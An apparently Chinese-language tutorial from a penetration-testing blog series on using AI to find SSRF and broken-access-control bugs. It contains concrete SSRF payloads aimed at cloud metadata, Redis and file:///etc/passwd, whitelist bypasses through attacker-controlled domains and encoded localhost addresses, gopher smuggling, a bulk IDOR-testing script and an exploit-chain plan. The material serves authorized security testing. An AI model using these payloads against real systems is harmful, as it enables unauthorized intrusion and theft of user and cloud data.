一句话:越权是 AI 最能出活的领域——因为它是"理解业务 + 批量尝试"的组合,传统扫描器几乎无能为力。
一、为什么这两类漏洞适合 AI
- SSRF:需要识别"参数是个 URL/域名/IP",并理解后端如何使用它
- 越权(IDOR/垂直越权):需要理解"谁应该能访问什么",这是纯业务逻辑
扫描器对这两类几乎无效,因为它们没有业务上下文。而 AI 恰好能以自然语言理解业务流程。
二、SSRF:先找参数,再造 Payload
2.1 参数识别
# 输入
以下是从目标抓取的接口列表(含参数名):
- /api/proxy?url=xxx
- /api/fetchImage?src=xxx
- /api/webhook/test?callback=xxx
- /api/import?source=xxx
- /api/avatar?from=xxx
- /api/documents/download?path=xxx
# 任务
1. 判断哪些参数最可能存在 SSRF
2. 对每个参数,给出 5 条测试 payload(从基础到进阶)
3. 说明每条 payload 想验证什么
AI 会输出按可能性排序的清单,并给出:
/api/proxy?url=
→ http://127.0.0.1:80/
→ http://169.254.169.254/latest/meta-data/ (云元数据)
→ http://[::1]:80/
→ http://localhost:6379/ (Redis)
→ http://internal-service:8080/ (内网探测)
2.2 绕过白名单
SSRF 防护最常见的实现是域名白名单。AI 能把绕过手法穷举出来:
# 背景
目标校验逻辑:
url 必须以 "https://trusted.com" 开头,且不含 "127.0.0.1"。
# 任务
给出绕过该校验的 Payload,并说明原理。
AI 输出:
# DNS 重绑定
https://trusted.com.attacker.com/ # 若校验用 startsWith 就绕过
# @ 混淆
https://trusted.com@127.0.0.1/
# 302 跳转
https://trusted.com/redirect?to=http://127.0.0.1/
# 域名解析到内网
https://evil.attacker.com/ (A记录指向 127.0.0.1)
# 进制/编码变形
http://0177.0.0.1/
http://2130706433/
http://0x7f.0.0.1/
http://127.1/
这份清单的价值极高——人很难一次想全所有变形。
2.3 协议走私
# 任务
目标 SSRF 参数支持任意协议。
列出可以用来读取本地文件、探测内网、RCE 的协议及用法(Linux 环境)。
AI 输出:file:///etc/passwd、gopher://(打 Redis/MySQL)、dict://、ftp://、ldap:// 等,并给出 gopher 打 Redis 写 shell 的完整 payload。
三、越权:AI 的核心战场
3.1 让 AI 梳理权限模型
# 输入
系统角色与接口:
角色:普通用户、VIP用户、客服、管理员
接口:
- GET /api/user/{id}/profile
- POST /api/order/{orderId}/cancel
- GET /api/order/list
- GET /api/admin/users
- POST /api/admin/user/{id}/role
# 任务
1. 分析每个接口的预期权限
2. 标出可能存在水平越权(同角色跨用户)的接口
3. 标出可能存在垂直越权(低权限访问高权限)的接口
4. 给出具体的测试方法(用哪个账号、改哪个参数)
AI 输出示例:
| 接口 | 风险类型 | 测试方法 |
|---|---|---|
| GET /api/user/{id}/profile | 水平越权 | 用户A的token,把id改成用户B的id |
| POST /api/order/{orderId}/cancel | 水平越权 | 取消他人订单 |
| GET /api/admin/users | 垂直越权 | 普通用户token直接请求 |
| POST /api/admin/user/{id}/role | 垂直越权 + 提权 | 用低权限token尝试改自己角色 |
3.2 越权的隐蔽变体
AI 能提醒你注意这些容易漏的场景:
# 任务
除直接改 id 外,还有哪些容易被忽视的越权场景?请结合常见业务。
AI 输出:
- 参数污染:
?id=1&id=2(后端取哪个?) - 数组/批量:
{"ids":[我的, 别人的]} - JSON 嵌套:
{"user":{"id":1,"role":"admin"}}前端不显示但后端接收 - 导出/下载接口:
/export?ownerId=xxx导出他人数据 - ID 后缀遍历:
/order/1001→/order/1002 - GraphQL:query 里直接指定任意 node id
- UUID 可预测:自增 ID 换成"伪 UUID"但实际可枚举
- API 版本绕过:
/v2/api有鉴权,/v1/api没有
这 8 条几乎覆盖了实战中遇到的大部分越权形态。
3.3 自动化越权测试
def test_idor(base_url, endpoint, my_token, my_id, others_ids):
"""
水平越权批量测试
"""
results = []
for oid in others_ids:
url = f"{base_url}{endpoint.format(id=oid)}"
resp = requests.get(url, headers={"Authorization": f"Bearer {my_token}"})
# 用 AI 判断是否为"越权成功"
verdict = ai_judge_idor(
my_id=my_id,
target_id=oid,
status=resp.status_code,
body=resp.text[:1500]
)
if verdict["is_idor"]:
results.append((oid, verdict["evidence"]))
return results
ai_judge_idor 的 Prompt:
# 任务
判断这次请求是否构成越权。
我是用户 A(id=1001),用 A 的 token 请求了 id=1002 的数据。
响应:{status, body}
# 判断依据
- 如果返回了 id=1002 的真实数据 → 越权成功
- 如果返回 403/401 → 鉴权正常
- 如果返回空数据或"无权访问" → 鉴权正常
- 如果返回 id=1001 的数据(后端强制绑定当前用户)→ 安全
# 输出
{"is_idor": bool, "evidence": "", "confidence": 0.0}
四、SSRF + 越权的组合拳
实战中这两者常常串联:
1. 发现 SSRF 参数,可访问内网
2. 内网探测发现一个无鉴权的管理 API
3. 该 API 有越权,可读取全部用户数据
让 AI 帮你规划这条链:
# 任务
已知存在 SSRF(/api/proxy?url=),可访问内网。
已探测到内网存在 10.0.0.5:8080 的管理接口。
规划下一步:如何利用 SSRF 探测该接口、枚举其路径、组合成完整利用链。
五、注意事项
- 越权测试用小号数据:不要动真实用户数据,用自己注册的多个账号互测
- SSRF 探测内网需谨慎:可能触达客户生产系统,务必在授权范围内
- 云元数据是重灾区:
169.254.169.254一旦成功即高风险,注意留存证据 - 记录完整请求:越权结论需要完整请求响应作为证据
六、小结
| 漏洞类型 | AI 的贡献 |
|---|---|
| SSRF | 参数识别、绕过穷举、gopher 构造 |
| 水平越权 | 接口风险评估、批量测试编排 |
| 垂直越权 | 权限模型梳理、隐蔽变体提示 |
| 组合链路 | 跨漏洞串联规划 |
越权和 SSRF 是传统扫描器的盲区,也是 AI 优势最明显的战场。
下一篇:AI 辅助二进制逆向。
系列文章:AI 渗透测试与漏洞挖掘实战